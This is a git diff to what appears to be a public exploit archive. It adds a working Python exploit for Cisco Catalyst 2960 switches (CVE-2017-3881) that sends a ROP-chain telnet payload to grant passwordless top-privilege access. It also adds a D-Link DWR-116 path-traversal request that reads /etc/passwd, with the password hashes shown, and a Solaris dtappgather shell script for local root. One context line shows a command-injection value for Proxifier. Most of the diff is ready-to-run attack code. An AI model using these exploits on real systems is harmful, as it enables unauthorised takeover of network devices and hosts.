diff --git a/files.csv b/files.csv
index 761bccd8a..1ef791e52 100644
--- a/files.csv
+++ b/files.csv
@@ -8934,6 +8934,7 @@ id,file,description,date,author,platform,type,port
 41853,platforms/macos/local/41853.txt,"Proxifier for Mac 2.18 - Multiple Vulnerabilities",2017-04-11,Securify,macos,local,0
 41854,platforms/macos/local/41854.txt,"Proxifier for Mac 2.17 / 2.18 - Privesc Escalation",2017-04-11,"Mark Wadham",macos,local,0
 41870,platforms/multiple/local/41870.txt,"Xen - Broken Check in 'memory_exchange()' Permits PV Guest Breakout",2017-04-11,"Google Security Research",multiple,local,0
+41871,platforms/solaris/local/41871.sh,"Solaris 7 - 11 (x86 & SPARC) - 'EXTREMEPARR' dtappgather Privilege Escalation",2017-04-12,"Hacker Fantastic",solaris,local,0
 1,platforms/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Exploit",2003-03-23,kralor,windows,remote,80
 2,platforms/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote Exploit (PoC)",2003-03-24,RoMaNSoFt,windows,remote,80
 5,platforms/windows/remote/5.c,"Microsoft Windows - RPC Locator Service Remote Exploit",2003-04-03,"Marcin Wolak",windows,remote,139
@@ -15436,6 +15437,7 @@ id,file,description,date,author,platform,type,port
 41850,platforms/windows/remote/41850.txt,"Moxa MXview 2.8 - Private Key Disclosure",2017-04-10,hyp3rlinx,windows,remote,0
 41852,platforms/windows/remote/41852.txt,"Moxa MX AOPC-Server 1.5 - XML External Entity Injection",2017-04-10,hyp3rlinx,windows,remote,0
 41861,platforms/linux/remote/41861.py,"Quest Privilege Manager 6.0.0 - Arbitrary File Write",2017-04-10,m0t,linux,remote,0
+41872,platforms/hardware/remote/41872.py,"Cisco Catalyst 2960 IOS 12.2(55)SE11 - 'ROCEM' Remote Code Execution",2017-04-12,"Artem Kondratenko",hardware,remote,23
 14113,platforms/arm/shellcode/14113.txt,"Linux/ARM - setuid(0) & execve(_/bin/sh___/bin/sh__0) Shellcode (38 bytes)",2010-06-29,"Jonathan Salwan",arm,shellcode,0
 13241,platforms/aix/shellcode/13241.txt,"AIX - execve /bin/sh Shellcode (88 bytes)",2004-09-26,"Georgi Guninski",aix,shellcode,0
 13242,platforms/bsd/shellcode/13242.txt,"BSD - Passive Connection Shellcode (124 bytes)",2000-11-19,Scrippie,bsd,shellcode,0
@@ -37722,6 +37724,7 @@ id,file,description,date,author,platform,type,port
 41837,platforms/php/webapps/41837.txt,"Survey Template 1.1 - 'masterkey1' Parameter SQL Injection",2017-04-07,"Ihsan Sencan",php,webapps,0
 41838,platforms/php/webapps/41838.txt,"My Gaming Ladder Combo System 7.5 - SQL Injection",2017-04-07,"Ihsan Sencan",php,webapps,0
 41839,platforms/php/webapps/41839.txt,"Ladder System 6.0 - 'faqid' Parameter SQL Injection",2017-04-07,"Ihsan Sencan",php,webapps,0
+41840,platforms/hardware/webapps/41840.txt,"D-Link DWR-116 / DWR-116A1 - Arbitrary File Download",2017-04-07,"Patryk Bogdan",hardware,webapps,0
 41841,platforms/php/webapps/41841.html,"WordPress Plugin Firewall 2 1.3 - Cross-Site Request Forgery / Cross-Site Scripting",2017-04-07,dxw,php,webapps,80
 41842,platforms/cgi/webapps/41842.txt,"QNAP TVS-663 QTS < 4.2.4 build 20170313 - Command Injection",2017-04-07,"Harry Sintonen",cgi,webapps,0
 41844,platforms/php/webapps/41844.html,"e107 CMS 2.1.4 - Cross-Site Request Forgery",2017-04-07,"Zhiyang Zeng",php,webapps,0
diff --git a/platforms/hardware/remote/41872.py b/platforms/hardware/remote/41872.py
new file mode 100755
index 000000000..652285cfa
--- /dev/null
+++ b/platforms/hardware/remote/41872.py
@@ -0,0 +1,83 @@
+#!/usr/bin/python
+# Exploit Title: Cisco Catalyst 2960 - Buffer Overflow
+# Exploit Details: https://artkond.com/2017/04/10/cisco-catalyst-remote-code-execution/
+# Date: 04.10.2017
+# Exploit Author: https://twitter.com/artkond
+# Vendor Homepage: https://www.cisco.com/
+# Version: IOS version c2960-lanbasek9-mz.122-55.SE11)
+# Tested on: Catalyst 2960 with IOS version c2960-lanbasek9-mz.122-55.SE11
+# CVE : CVE-2017-3881
+# Description:
+#
+# The exploit connects to the Catalyst switch and patches
+# it execution flow to allow credless telnet interaction 
+# with highest privilege level
+#
+
+
+import socket
+import sys
+from time import sleep
+
+set_credless = True
+
+if len(sys.argv) < 3:
+	print sys.argv[0] + ' [host] --set/--unset'
+	sys.exit()
+elif sys.argv[2] == '--unset':
+	set_credless = False
+elif sys.argv[2] == '--set':
+	pass
+else:
+	print sys.argv[0] + ' [host] --set/--unset'
+	sys.exit()
+
+
+s = socket.socket( socket.AF_INET, socket.SOCK_STREAM)
+s.connect((sys.argv[1], 23))
+
+print '[+] Connection OK'
+print '[+] Recieved bytes from telnet service:', repr(s.recv(1024))
+print '[+] Sending cluster option'
+print '[+] Setting credless privilege 15 authentication' if set_credless else '[+] Unsetting credless privilege 15 authentication'
+
+
+
+payload = '\xff\xfa\x24\x00'
+payload += '\x03CISCO_KITS\x012:'
+payload += 'A' * 116
+payload += '\x00\x00\x37\xb4'		# first gadget address 0x000037b4: lwz r0, 0x14(r1); mtlr r0; lwz r30, 8(r1); lwz r31, 0xc(r1); addi r1, r1, 0x10; blr;
+#next bytes are shown as offsets from r1
+payload += '\x02\x3d\x55\xdc'		# +8  address of pointer to is_cluster_mode function - 0x34
+if set_credless is True:
+	payload += '\x00\x00\x99\x9c'	# +12 set  address of func that rets 1
+else:
+	payload +=	'\x00\x04\xeA\xe0'	# unset 
+payload += 'BBBB'					# +16(+0) r1 points here at second gadget
+payload += '\x00\xe1\xa9\xf4' 		# +4 second gadget address 0x00e1a9f4: stw r31, 0x138(r30); lwz r0, 0x1c(r1); mtlr r0; lmw r29, 0xc(r1); addi r1, r1, 0x18; blr;
+payload += 'CCCC'					# +8 
+payload += 'DDDD'					# +12
+payload += 'EEEE'					# +16(+0) r1 points here at third gadget
+payload += '\x00\x06\x7b\x5c'		# +20(+4) third gadget address. 0x00067b5c: lwz r9, 8(r1); lwz r3, 0x2c(r9); lwz r0, 0x14(r1); mtlr r0; addi r1, r1, 0x10; blr; 
+payload += '\x02\x3d\x55\xc8'		# +8  r1+8 = 0x23d55c8
+payload += 'FFFF'					# +12 
+payload += 'GGGG'					# +16(+0) r1 points here at fourth gadget 
+payload += '\x00\x6c\xb3\xa0' 		# +20(+4) fourth gadget address 0x006cb3a0: lwz r31, 8(r1); lwz r30, 0xc(r1); addi r1, r1, 0x10; lwz r0, 4(r1); mtlr r0; blr;
+if set_credless:
+	payload += '\x00\x27\x0b\x94'	# +8 address of the replacing function that returns 15 (our desired privilege level). 0x00270b94: li r3, 0xf; blr; 
+else:
+	payload += '\x00\x04\xe7\x78'	# unset
+payload += 'HHHH'					# +12
+payload += 'IIII'					# +16(+0) r1 points here at fifth gadget
+payload += '\x01\x4a\xcf\x98'		# +20(+4) fifth gadget address 0x0148e560: stw r31, 0(r3); lwz r0, 0x14(r1); mtlr r0; lwz r31, 0xc(r1); addi r1, r1, 0x10; blr;
+payload += 'JJJJ'					# +8 r1 points here at third gadget
+payload += 'KKKK'					# +12
+payload += 'LLLL'					# +16
+payload += '\x01\x14\xe7\xec'		# +20 original execution flow return addr
+payload += ':15:' +  '\xff\xf0'
+
+s.send(payload)
+
+print '[+] All done'
+
+s.close()
diff --git a/platforms/hardware/webapps/41840.txt b/platforms/hardware/webapps/41840.txt
new file mode 100755
index 000000000..4df4dea54
--- /dev/null
+++ b/platforms/hardware/webapps/41840.txt
@@ -0,0 +1,36 @@
+# Title: D-Link DWR-116 Arbitrary File Download
+# Vendor: D-Link (www.dlink.com)
+# Affected model(s): DWR-116 / DWR-116A1
+# Tested on: V1.01(EU), V1.00(CP)b10, V1.05(AU)
+# CVE: CVE-2017-6190
+# Date: 04.07.2016
+# Author: Patryk Bogdan (@patryk_bogdan)
+
+Description:
+D-Link DWR-116 with firmware before V1.05b09 suffers from vulnerability
+which leads to unathorized file download from device filesystem.
+
+
+PoC:
+
+HTTP Request:
+GET /uir/../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1
+Host: 192.168.2.1
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+Connection: close
+
+HTTP Response:
+HTTP/1.0 200 OK
+Content-Type: application/x-none
+Cache-Control: max-age=60
+Connection: close
+
+root:$1$$taUxCLWfe3rCh2ylnFWJ41:0:0:root:/root:/bin/ash
+nobody:$1$$qRPK7m23GJusamGpoGLby/:99:99:nobody:/var/usb:/sbin/nologin
+ftp:$1$$qRPK7m23GJusamGpoGLby/:14:50:FTP USER:/var/usb:/sbin/nologin
+
+
+Fix:
+Update device to the new firmware (V1.05b09)
\ No newline at end of file
diff --git a/platforms/macos/local/41854.txt b/platforms/macos/local/41854.txt
index 06dfd009e..6af933f9c 100755
--- a/platforms/macos/local/41854.txt
+++ b/platforms/macos/local/41854.txt
@@ -48,4 +48,5 @@ rm -f a.c
 /Applications/Proxifier.app/Contents/KLoader 'blah; chown root:wheel /tmp/a ; chmod 4755 /tmp/a'
 /tmp/a
 
+
 -------------------------------------------------------------------
\ No newline at end of file
diff --git a/platforms/multiple/dos/41668.txt b/platforms/multiple/dos/41668.txt
index 4244d034d..3bccb226c 100755
--- a/platforms/multiple/dos/41668.txt
+++ b/platforms/multiple/dos/41668.txt
@@ -5,7 +5,7 @@
 # Software Link: https://sourceforge.net/projects/apngdis/files/2.8/
 # Version: 2.8
 # Tested on: Linux Debian / Windows 7
-# CVE : CVE-2017-6191
+# CVE : CVE-2017-6192
 
 
 Additional analysis:
diff --git a/platforms/multiple/dos/41669.txt b/platforms/multiple/dos/41669.txt
index b607ae23d..9133e7e02 100755
--- a/platforms/multiple/dos/41669.txt
+++ b/platforms/multiple/dos/41669.txt
@@ -5,7 +5,7 @@
 # Software Link: https://sourceforge.net/projects/apngdis/files/2.8/
 # Version: 2.8
 # Tested on: Linux Debian / Windows 7
-# CVE : CVE-2017-6192
+# CVE : CVE-2017-6193
 
 Additional analysis:
 https://www.onvio.nl/nieuws/cve-2017-6192-apngdis-width-height-buffer-overflow
diff --git a/platforms/solaris/local/41871.sh b/platforms/solaris/local/41871.sh
new file mode 100755
index 000000000..4707f55bf
--- /dev/null
+++ b/platforms/solaris/local/41871.sh
@@ -0,0 +1,51 @@
+#!/bin/ksh
+#Exploit PoC reverse engineered from EXTREMEPARR which provides
+#local root on Solaris 7 - 11 (x86 & SPARC). Uses a environment
+#variable of setuid binary dtappgather to manipulate file
+#permissions and create a user owned directory anywhere on the
+#system (as root). Can then add a shared object to locale folder
+#and run setuid binaries with an untrusted library file.
+#
+# e.g.
+# $ id;uname -a; ./dtappgather-poc.sh
+# uid=60001(nobody) gid=60001(nobody)
+# SunOS sparc 5.8 Generic_117350-39 sun4m sparc SUNW,SPARCstation-20
+# [+] '/usr/dt/bin/dtappgather' directory traversal exploit
+# [-] get rid of any of our desktop files
+# [-] exploiting the traversal bug...
+# changePermissions: /var/dt/appconfig/appmanager/..| : No such file or directory
+# MakeDirectory: /var/dt/appconfig/appmanager/..: File exists
+# changePermissions: /var/dt/appconfig/appmanager/..| : No such file or directory
+# [-] symlink attack create our directory
+# dr-xr-xr-x   2 nobody   nobody       512 Apr 11 14:40 pdkhax
+# [-] Done. "/usr/lib/locale/pdkhax" is writeable
+# $ 
+#
+# To get root privileges simply exploit "at" by adding a .so.2
+# file in the new locale directory and calling "at".
+#
+# $ at -f /etc/passwd 11:11
+# job 1491991860.a at Ons Apr 12 11:11:00 2017
+# $ LC_TIME=pdkhax at -l
+# # id
+# uid=0(root) gid=60001(nobody)
+# 
+# -- Hacker Fantastic (www.myhackerhouse.com)
+echo "[+] '/usr/dt/bin/dtappgather' directory traversal exploit"
+echo "[-] get rid of any of our desktop files"
+chmod -R 777 /var/dt/appconfig/appmanager/*
+rm -rf /var/dt/appconfig/appmanager/*
+echo [-] exploiting the traversal bug...
+DTUSERSESSION=. /usr/dt/bin/dtappgather
+DTUSERSESSION=. /usr/dt/bin/dtappgather
+DTUSERSESSION=.. /usr/dt/bin/dtappgather
+DTUSERSESSION=.. /usr/dt/bin/dtappgather
+DTUSERSESSION=.. /usr/dt/bin/dtappgather
+echo [-] symlink attack create our directory 
+ln -sf /usr/lib/locale /var/dt/appconfig/appmanager
+DTUSERSESSION=pdkhax /usr/dt/bin/dtappgather
+ls -al /usr/lib/locale | grep pdkhax
+rm -rf /var/dt/appconfig/appmanager
+chmod 755 /usr/lib/locale/pdkhax
+echo [-] Done. "/usr/lib/locale/pdkhax" is writeable
+